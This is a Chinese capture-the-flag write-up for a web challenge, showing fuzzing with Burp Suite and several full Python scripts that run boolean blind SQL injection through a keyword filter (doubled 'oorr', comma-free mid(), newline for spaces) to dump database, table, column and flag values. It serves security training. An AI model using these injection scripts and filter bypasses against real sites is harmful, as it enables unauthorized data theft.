CTF004_认真一点




URLhttp://ctf5.shiyanbar.com/web/earnest/index.php




解:


step①

打开得到如下界面:

happysneaker.com

输入1 ,显示 you are in ,输入其他的比如111都是显示not in ,猜测waf过滤了大部分符号,用burp suite的intruder功能进行模糊测试试一下,发现了有三种大小的返回数据包:

happysneaker.com

911:not in

908:in

802:提示SQL injection detected



step②

输入 1 ,显示in ,根据模糊测试观察in的语句,结合经验分析一下,可能后台过滤了or这个关键字但是只过滤了一遍,所以要验证一下:

① 输入 or 1  和 or1  以及  1or ,结果都是in;

② 将模糊测试的三个908语句 去掉 or 以及%20 ,提交结果还是 in 


这就验证了猜想,的确是后台过滤了 or 和 or+空格,但是只过滤了一遍,所以下面有or的地方都要用oorr。

确定了注入点,那么接下来开始进行盲注,无非就是构造语句然后提交。


step③

上Python!!


① 先查一下数据库的长度试试,以下代码就是以json形式把id:内容post给服务器,然后匹配返回消息是否有you are in,匹配说明查询成功。

import requests

#返回的成功提示为 You are in.....,因此str1需匹配
str1 = 'You are in'
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
#假设数据名长度为30,循环30次
for i in range(1,30):
    key = {'id':"0'oorr(length(database())=%s)oorr'0"%i}
    #requests对象的get和post方法都会返回一个Response对象,data为json格式
    #r 接收post返回的对象内容
    r = requests.post(url, data=key).text
    print("第%s次尝试.."%i)
    if str1 in r:
        print('the length of database is %s'%i)
        break


happysneaker.com


② 数据库名字长度为18,查数据库名:

只知道长度,那就一位一位地猜,substr不能用,用mid也行

import requests

guess = 'abcdefghijklmnopqrstuvwxyz_0123456789+=-*/\~{}?!:@#$&[]._'
str1 = 'You are in'
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
database = ''
#1-18
for i in range(1,19):
    for j in guess:
    	#该构造语句用到了mysql的语法技巧,mid(str,x,y)为对str从第x位开始取y位
    	#这里过滤了逗号,所以可以换成from i for j,作用一样
    	#简单的双层遍历一位一位地得到数据库名
        key = {'id':"0'oorr(mid((database())from(%s)foorr(1))='%s')oorr'0"%(i,j)}
        r = requests.post(url, data=key).text
        print(key)
        if str1 in r:
            database += j
            print(j)
            break
print(database)

happysneaker.com

果然出题者就是考察盲注。


step④

得到了数据库名,查表名,所以得先查长度:

import requests
str = "You are in"
url = "http://ctf5.shiyanbar.com/web/earnest/index.php"
guess = "abcdefghijklmnopqrstuvwxyz0123456789~+=-*/\{}?!:@#$&[]."
i = 1
print("start")
while True:
    res = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='')oorr'0" %i
    res = res.replace(' ',chr(0x0a))
    key = {'id':res}
    r = requests.post(url,data=key).text
    print(key)
    if str in r:
        print("length: %s"%i)
        break
    i+=1
print("end!")

happysneaker.com


表名长度为11,猜解表:

import requests
str = "You are in"
url = "http://ctf5.shiyanbar.com/web/earnest/index.php"
guess = "abcdefghijklmnopqrstuvwxyz0123456789~+=-*/\{}?!:@#$&[]."
table = ""
print("start")
for i in range(1,12):
    for j in guess:
        res = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='%s')oorr'0"%(i,j)
        res = res.replace(' ', chr(0x0a))
        key = {'id':res}
        r = requests.post(url,data=key).text
        print(key)
        if str in r:
            table += j
            break
print(table)

happysneaker.com

@ 符号使用来隔开的,所以一共两张表:fiag和users,猜想flag应该是在fiag表中了。



对着fiag表,来猜表的列宽:

import requests
str = "You are in"
url = "http://ctf5.shiyanbar.com/web/earnest/index.php"
guess = "abcdefghijklmnopqrstuvwxyz0123456789~+=-*/\{}?!:@#$&[]."
i = 1
print("start")
while True:
    res = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='')oorr'0"%i
    res = res.replace(' ',chr(0x0a))
    key = {'id':res}
    r = requests.post(url,data=key).text
    print(i)
    if str in r:
        print("length: %s"%i)
        break
    i += 1
print("end!")

happysneaker.com


知道了列宽为6,但应该是5,因为第六个条件为空,来猜解列名:

import requests
str = "You are in"
url = "http://ctf5.shiyanbar.com/web/earnest/index.php"
guess = "abcdefghijklmnopqrstuvwxyz0123456789~+=-*/\{}?!:@#$&[]."
column = ""
print("start")
for i in range(1,6):
    for j in guess:
        res = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='%s')oorr'0"%(i,j)
        res = res.replace(' ',chr(0x0a))
        key = {'id':res}
        r = requests.post(url,data=key).text
        print("......%s.........%s........."%(i,j))
        if str in r:
            column+=j
            break
print(column)
print("end!")

happysneaker.com

因此得到了fiag表的fl$4g这一列。


列都知道了,直接dump出内容即可:

import requests
str = "You are in"
url = "http://ctf5.shiyanbar.com/web/earnest/index.php"
guess = "abcdefghijklmnopqrstuvwxyz0123456789~+=-*/\{}?!:@#$&[]."
flag = ""
print("start")
for i in range(1,20):
    for j in guess:
        res = "0'oorr((select(mid((fl$4g)from(%s)foorr(1)))from(fiag))='%s')oorr'0"%(i,j)
        res = res.replace(' ',chr(0x0a))
        key = {'id':res}
        r = requests.post(url,data=key).text
        'print("........%s..........%s........"%(i,j))'
        if str in r:
            flag+=j
            print(flag)
            break
print(flag)
print("end!")

happysneaker.com


用  -  转义了空格,所以答案是: flag{haha~you win!}



happysneaker.com




Web安全技术分享
请先登录后发表评论
  • 最新评论
  • 总共0条评论